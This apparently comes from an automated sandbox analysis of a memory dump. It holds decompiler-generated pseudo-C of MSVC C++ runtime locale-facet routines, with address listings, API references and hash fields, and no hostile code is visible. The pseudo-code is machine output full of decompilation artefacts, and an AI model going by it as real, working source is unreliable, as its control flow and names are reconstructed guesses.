																									_push( *((intOrPtr*)(_t289 + 8)));
																									_t89 = _t289 - 4;
																									 *_t89 =  *(_t289 - 4) & 0x00000000;
																									__eflags =  *_t89;
																									 *_t281 = 0x402f68; // executed
																									E0049AC63(_t243, _t272, _t281,  *_t89); // executed
																									return E0049D8D4(_t281);
																								} else {
																									_t272 =  *(_t289 - 0x10);
																									 *(_t289 - 0x10) = _t272;
																									 *(_t289 - 4) = 1;
																									E0048919D(_t272);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t272 + 4))))();
																									 *0x4ede6c = _t272;
																									goto L47;
																								}
																							} else {
																								_t272 = _t280;
																								goto L47;
																							}
																						}
																					} else {
																						_t271 =  *(_t289 - 0x10);
																						 *(_t289 - 0x10) = _t271;
																						 *(_t289 - 4) = 1;
																						E0048919D(_t271);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t271 + 4))))();
																						 *0x4ede68 = _t271;
																						goto L40;
																					}
																				} else {
																					_t271 = _t279;
																					goto L40;
																				}
																			}
																		} else {
																			_t270 =  *(_t289 - 0x10);
																			 *(_t289 - 0x10) = _t270;
																			 *(_t289 - 4) = 1;
																			E0048919D(_t270);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t270 + 4))))();
																			 *0x4ede60 = _t270;
																			goto L33;
																		}
																	} else {
																		_t270 = _t278;
																		goto L33;
																	}
																}
															} else {
																_t269 =  *(_t289 - 0x10);
																 *(_t289 - 0x10) = _t269;
																 *(_t289 - 4) = 1;
																E0048919D(_t269);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t269 + 4))))();
																 *0x4ede64 = _t269;
																goto L26;
															}
														} else {
															_t269 = _t277;
															goto L26;
														}
													}
												} else {
													_t268 =  *(_t289 - 0x10);
													 *(_t289 - 0x10) = _t268;
													 *(_t289 - 4) = 1;
													E0048919D(_t268);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t268 + 4))))();
													 *0x4ede5c = _t268;
													goto L19;
												}
											} else {
												_t268 = _t276;
												goto L19;
											}
										}
									} else {
										_t267 =  *(_t289 - 0x10);
										 *(_t289 - 0x10) = _t267;
										 *(_t289 - 4) = 1;
										E0048919D(_t267);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t267 + 4))))();
										 *0x4ede58 = _t267;
										goto L12;
									}
								} else {
									_t267 = _t275;
									goto L12;
								}
							}
						} else {
							_t266 =  *(_t289 - 0x10);
							 *(_t289 - 0x10) = _t266;
							 *(_t289 - 4) = 1;
							E0048919D(_t266);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t266 + 4))))();
							 *0x4ede54 = _t266;
							goto L5;
						}
					} else {
						_t266 = _t274;
						goto L5;
					}
				}
			}

0x004995c9
0x004995d0
0x004995da
0x004995df
0x004995ea
0x004995ee
0x004995fa
0x004995ff
0x00499603
0x00499648
0x0049964b
0x00499657
0x00499605
0x00499607
0x0049960d
0x00499613
0x0049961b
0x0049961e
0x00499658
0x0049965d
0x0049965e
0x00499665
0x0049966f
0x00499674
0x0049967f
0x00499683
0x00499694
0x00499696
0x00499698
0x004996dd
0x004996e0
0x004996ec
0x0049969a
0x0049969a
0x0049969c
0x004996a2
0x004996a8
0x004996b0
0x004996b3
0x004996ed
0x004996f2
0x004996f3
0x004996fa
0x00499704
0x00499709
0x00499714
0x00499718
0x00499729
0x0049972b
0x0049972d
0x00499772
0x00499775
0x00499781
0x0049972f
0x0049972f
0x00499731
0x00499737
0x0049973d
0x00499745
0x00499748
0x00499782
0x00499787
0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997be
0x004997c0
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607

APIs

__EH_prolog3.LIBCMT ref: 004995D0
std::_Lockit::_Lockit.LIBCPMT ref: 004995DA

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 00499614
std::_Facet_Register.LIBCPMT ref: 0049962B
std::_Lockit::~_Lockit.LIBCPMT ref: 0049964B
Concurrency::cancel_current_task.LIBCPMT ref: 00499658

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
Instruction ID: d8b281b4b2f7af1f1bcc60401041b036efa8871ecac6a29e2b142880d4d86f08
Opcode Fuzzy Hash: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
Instruction Fuzzy Hash: F401AD31D002159BCF05EBA998596BE7BB1AF94714F54046EE420AB382CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499788, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499788() {
				signed int _t59;
				void* _t97;
				signed int _t144;
				void* _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				void* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				signed int _t167;
				void* _t172;
				void* _t173;

				_push(8);
				E0049D90B(0x4d6966, _t157, _t162);
				E00488DEA(_t172 - 0x14, 0);
				_t163 =  *0x4ede64; // 0x0
				 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
				 *(_t172 - 0x10) = _t163;
				_t59 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede44, _t157, _t163, _t173));
				_t158 = _t59;
				if(_t59 != 0) {
					L5:
					E00488E42(_t172 - 0x14);
					return E0049D8D4(_t158);
				} else {
					if(_t163 == 0) {
						_push( *((intOrPtr*)(_t172 + 8)));
						_push(_t172 - 0x10);
						__eflags = E00499CBD(_t158, _t163, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t158, _t163);
							E00488DEA(_t172 - 0x14, 0);
							_t164 =  *0x4ede60; // 0x0
							 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
							 *(_t172 - 0x10) = _t164;
							_t159 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede40, _t158, _t164, __eflags));
							__eflags = _t159;
							if(_t159 != 0) {
								L12:
								E00488E42(_t172 - 0x14);
								return E0049D8D4(_t159);
							} else {
								__eflags = _t164;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t172 + 8)));
									_push(_t172 - 0x10);
									__eflags = E00499D41(_t159, _t164, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t159, _t164);
										E00488DEA(_t172 - 0x14, 0);
										_t165 =  *0x4ede68; // 0x0
										 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
										 *(_t172 - 0x10) = _t165;
										_t160 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede48, _t159, _t165, __eflags));
										__eflags = _t160;
										if(_t160 != 0) {
											L19:
											E00488E42(_t172 - 0x14);
											return E0049D8D4(_t160);
										} else {
											__eflags = _t165;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t172 + 8)));
												_push(_t172 - 0x10);
												__eflags = E00499DC6(_t160, _t165, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t160, _t165);
													E00488DEA(_t172 - 0x14, 0);
													_t166 =  *0x4ede6c; // 0x0
													 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
													 *(_t172 - 0x10) = _t166;
													_t161 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede4c, _t160, _t166, __eflags));
													__eflags = _t161;
													if(_t161 != 0) {
														L26:
														E00488E42(_t172 - 0x14);
														return E0049D8D4(_t161);
													} else {
														__eflags = _t166;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t172 + 8)));
															_push(_t172 - 0x10);
															_t97 = E00499E32(_t161, _t166, __eflags);
															_pop(_t144);
															__eflags = _t97 - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(4);
																E0049D90B(0x4d6989, _t161, _t166);
																_t167 = _t144;
																 *(_t172 - 0x10) = _t167;
																 *((intOrPtr*)(_t167 + 4)) =  *((intOrPtr*)(_t172 + 0xc));
																_push( *((intOrPtr*)(_t172 + 8)));
																_t53 = _t172 - 4;
																 *_t53 =  *(_t172 - 4) & 0x00000000;
																__eflags =  *_t53;
																 *_t167 = 0x402f68; // executed
																E0049AC63(_t144, _t161, _t167,  *_t53); // executed
																return E0049D8D4(_t167);
															} else {
																_t161 =  *(_t172 - 0x10);
																 *(_t172 - 0x10) = _t161;
																 *(_t172 - 4) = 1;
																E0048919D(_t161);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t161 + 4))))();
																 *0x4ede6c = _t161;
																goto L26;
															}
														} else {
															_t161 = _t166;
															goto L26;
														}
													}
												} else {
													_t160 =  *(_t172 - 0x10);
													 *(_t172 - 0x10) = _t160;
													 *(_t172 - 4) = 1;
													E0048919D(_t160);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t160 + 4))))();
													 *0x4ede68 = _t160;
													goto L19;
												}
											} else {
												_t160 = _t165;
												goto L19;
											}
										}
									} else {
										_t159 =  *(_t172 - 0x10);
										 *(_t172 - 0x10) = _t159;
										 *(_t172 - 4) = 1;
										E0048919D(_t159);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t159 + 4))))();
										 *0x4ede60 = _t159;
										goto L12;
									}
								} else {
									_t159 = _t164;
									goto L12;
								}
							}
						} else {
							_t158 =  *(_t172 - 0x10);
							 *(_t172 - 0x10) = _t158;
							 *(_t172 - 4) = 1;
							E0048919D(_t158);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t158 + 4))))();
							 *0x4ede64 = _t158;
							goto L5;
						}
					} else {
						_t158 = _t163;
						goto L5;
					}
				}
			}

0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997b9
0x004997be
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6

APIs

__EH_prolog3.LIBCMT ref: 0049978F
std::_Lockit::_Lockit.LIBCPMT ref: 00499799

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 004997D3
std::_Facet_Register.LIBCPMT ref: 004997EA
std::_Lockit::~_Lockit.LIBCPMT ref: 0049980A
Concurrency::cancel_current_task.LIBCPMT ref: 00499817

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction ID: 49ac802887d0621467d1e4e35387ffc2160dcd53cc5cd5c6759d1e4b805c01c3
Opcode Fuzzy Hash: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction Fuzzy Hash: 6901C475D002159BCF05FB69D9596BE7BA5AF80314F14086FE4106B392CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0049981D, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0049981D() {
				signed int _t47;
				void* _t74;
				signed int _t111;
				void* _t121;
				signed int _t123;
				signed int _t124;
				void* _t125;
				signed int _t126;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				void* _t133;
				void* _t134;

				_push(8);
				E0049D90B(0x4d6966, _t121, _t125);
				E00488DEA(_t133 - 0x14, 0);
				_t126 =  *0x4ede60; // 0x0
				 *(_t133 - 4) =  *(_t133 - 4) & 0x00000000;
				 *(_t133 - 0x10) = _t126;
				_t47 = E0042B315( *((intOrPtr*)(_t133 + 8)), E0042B22E(0x4ede40, _t121, _t126, _t134));
				_t122 = _t47;
				if(_t47 != 0) {
					L5:
					E00488E42(_t133 - 0x14);
					return E0049D8D4(_t122);
				} else {
					if(_t126 == 0) {
						_push( *((intOrPtr*)(_t133 + 8)));
						_push(_t133 - 0x10);
						__eflags = E00499D41(_t122, _t126, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t122, _t126);
							E00488DEA(_t133 - 0x14, 0);
							_t127 =  *0x4ede68; // 0x0
							 *(_t133 - 4) =  *(_t133 - 4) & 0x00000000;
							 *(_t133 - 0x10) = _t127;
							_t123 = E0042B315( *((intOrPtr*)(_t133 + 8)), E0042B22E(0x4ede48, _t122, _t127, __eflags));
							__eflags = _t123;
							if(_t123 != 0) {
								L12:
								E00488E42(_t133 - 0x14);
								return E0049D8D4(_t123);
							} else {
								__eflags = _t127;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t133 + 8)));
									_push(_t133 - 0x10);
									__eflags = E00499DC6(_t123, _t127, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t123, _t127);
										E00488DEA(_t133 - 0x14, 0);
										_t128 =  *0x4ede6c; // 0x0
										 *(_t133 - 4) =  *(_t133 - 4) & 0x00000000;
										 *(_t133 - 0x10) = _t128;
										_t124 = E0042B315( *((intOrPtr*)(_t133 + 8)), E0042B22E(0x4ede4c, _t123, _t128, __eflags));
										__eflags = _t124;
										if(_t124 != 0) {
											L19:
											E00488E42(_t133 - 0x14);
											return E0049D8D4(_t124);
										} else {
											__eflags = _t128;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t133 + 8)));
												_push(_t133 - 0x10);
												_t74 = E00499E32(_t124, _t128, __eflags);
												_pop(_t111);
												__eflags = _t74 - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(4);
													E0049D90B(0x4d6989, _t124, _t128);
													_t129 = _t111;
													 *(_t133 - 0x10) = _t129;
													 *((intOrPtr*)(_t129 + 4)) =  *((intOrPtr*)(_t133 + 0xc));
													_push( *((intOrPtr*)(_t133 + 8)));
													_t41 = _t133 - 4;
													 *_t41 =  *(_t133 - 4) & 0x00000000;
													__eflags =  *_t41;
													 *_t129 = 0x402f68; // executed
													E0049AC63(_t111, _t124, _t129,  *_t41); // executed
													return E0049D8D4(_t129);
												} else {
													_t124 =  *(_t133 - 0x10);
													 *(_t133 - 0x10) = _t124;
													 *(_t133 - 4) = 1;
													E0048919D(_t124);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t124 + 4))))();
													 *0x4ede6c = _t124;
													goto L19;
												}
											} else {
												_t124 = _t128;
												goto L19;
											}
										}
									} else {
										_t123 =  *(_t133 - 0x10);
										 *(_t133 - 0x10) = _t123;
										 *(_t133 - 4) = 1;
										E0048919D(_t123);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t123 + 4))))();
										 *0x4ede68 = _t123;
										goto L12;
									}
								} else {
									_t123 = _t127;
									goto L12;
								}
							}
						} else {
							_t122 =  *(_t133 - 0x10);
							 *(_t133 - 0x10) = _t122;
							 *(_t133 - 4) = 1;
							E0048919D(_t122);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t122 + 4))))();
							 *0x4ede60 = _t122;
							goto L5;
						}
					} else {
						_t122 = _t126;
						goto L5;
					}
				}
			}

0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x0049984e
0x00499853
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b

APIs

__EH_prolog3.LIBCMT ref: 00499824
std::_Lockit::_Lockit.LIBCPMT ref: 0049982E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 00499868
std::_Facet_Register.LIBCPMT ref: 0049987F
std::_Lockit::~_Lockit.LIBCPMT ref: 0049989F
Concurrency::cancel_current_task.LIBCPMT ref: 004998AC

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: de08c772e2acb405dd92486b0e539cf298e9208f1be538485e14416e98adfe90
Instruction ID: 173be25e0af6a6ad485d310c2ec6247dbffd84edc721f2b0032609691a1fd12e
Opcode Fuzzy Hash: de08c772e2acb405dd92486b0e539cf298e9208f1be538485e14416e98adfe90
Instruction Fuzzy Hash: 4001AD31D102298BCF05FBA998596BE7B65AF90314F14086EE410AB382CF7D9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C83A, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C83A(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v164;
				signed int _t177;
				void* _t325;
				short* _t469;
				void* _t512;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				signed int _t526;
				void* _t527;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				short* _t542;
				void* _t561;
				void* _t562;

				_push(8);
				E0049D90B(0x4d6966, _t512, _t527);
				E00488DEA( &_v20, 0);
				_t528 =  *0x4ede20; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t528;
				_t177 = E0042B315(_a8, E0042B22E(0x4eddc4, _t512, _t528, _t562));
				_t513 = _t177;
				if(_t177 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t513);
				} else {
					if(_t528 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E255(_t513, _t528, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t513, _t528);
							E00488DEA( &_v20, 0);
							_t529 =  *0x4ede1c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t529;
							_t514 = E0042B315(_a8, E0042B22E(0x4eddc0, _t513, _t529, __eflags));
							__eflags = _t514;
							if(_t514 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t514);
							} else {
								__eflags = _t529;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E2D9(_t514, _t529, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t514, _t529);
										E00488DEA( &_v20, 0);
										_t530 =  *0x4eddf0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t530;
										_t515 = E0042B315(_a8, E0042B22E(0x4edd9c, _t514, _t530, __eflags));
										__eflags = _t515;
										if(_t515 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t515);
										} else {
											__eflags = _t530;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E35E(_t515, _t530, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t515, _t530);
													E00488DEA( &_v20, 0);
													_t531 =  *0x4eddec; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t531;
													_t516 = E0042B315(_a8, E0042B22E(0x4edd98, _t515, _t531, __eflags));
													__eflags = _t516;
													if(_t516 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t516);
													} else {
														__eflags = _t531;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E3E2(_t516, _t531, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t516, _t531);
																E00488DEA( &_v20, 0);
																_t532 =  *0x4ede00; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t532;
																_t517 = E0042B315(_a8, E0042B22E(0x4edda4, _t516, _t532, __eflags));
																__eflags = _t517;
																if(_t517 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t517);
																} else {
																	__eflags = _t532;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E467(_t517, _t532, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t517, _t532);
																			E00488DEA( &_v20, 0);
																			_t533 =  *0x4eddd0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t533;
																			_t518 = E0042B315(_a8, E0042B22E(0x4edd7c, _t517, _t533, __eflags));
																			__eflags = _t518;
																			if(_t518 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t518);
																			} else {
																				__eflags = _t533;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E4CF(_t518, _t533, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t518, _t533);
																						E00488DEA( &_v20, 0);
																						_t534 =  *0x4ede04; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t534;
																						_t519 = E0042B315(_a8, E0042B22E(0x4edda8, _t518, _t534, __eflags));
																						__eflags = _t519;
																						if(_t519 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t519);
																						} else {
																							__eflags = _t534;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E537(_t519, _t534, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t519, _t534);
																									E00488DEA( &_v20, 0);
																									_t535 =  *0x4eddd4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t535;
																									_t520 = E0042B315(_a8, E0042B22E(0x4edd80, _t519, _t535, __eflags));
																									__eflags = _t520;
																									if(_t520 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t520);
																									} else {
																										__eflags = _t535;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E59F(_t520, _t535, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
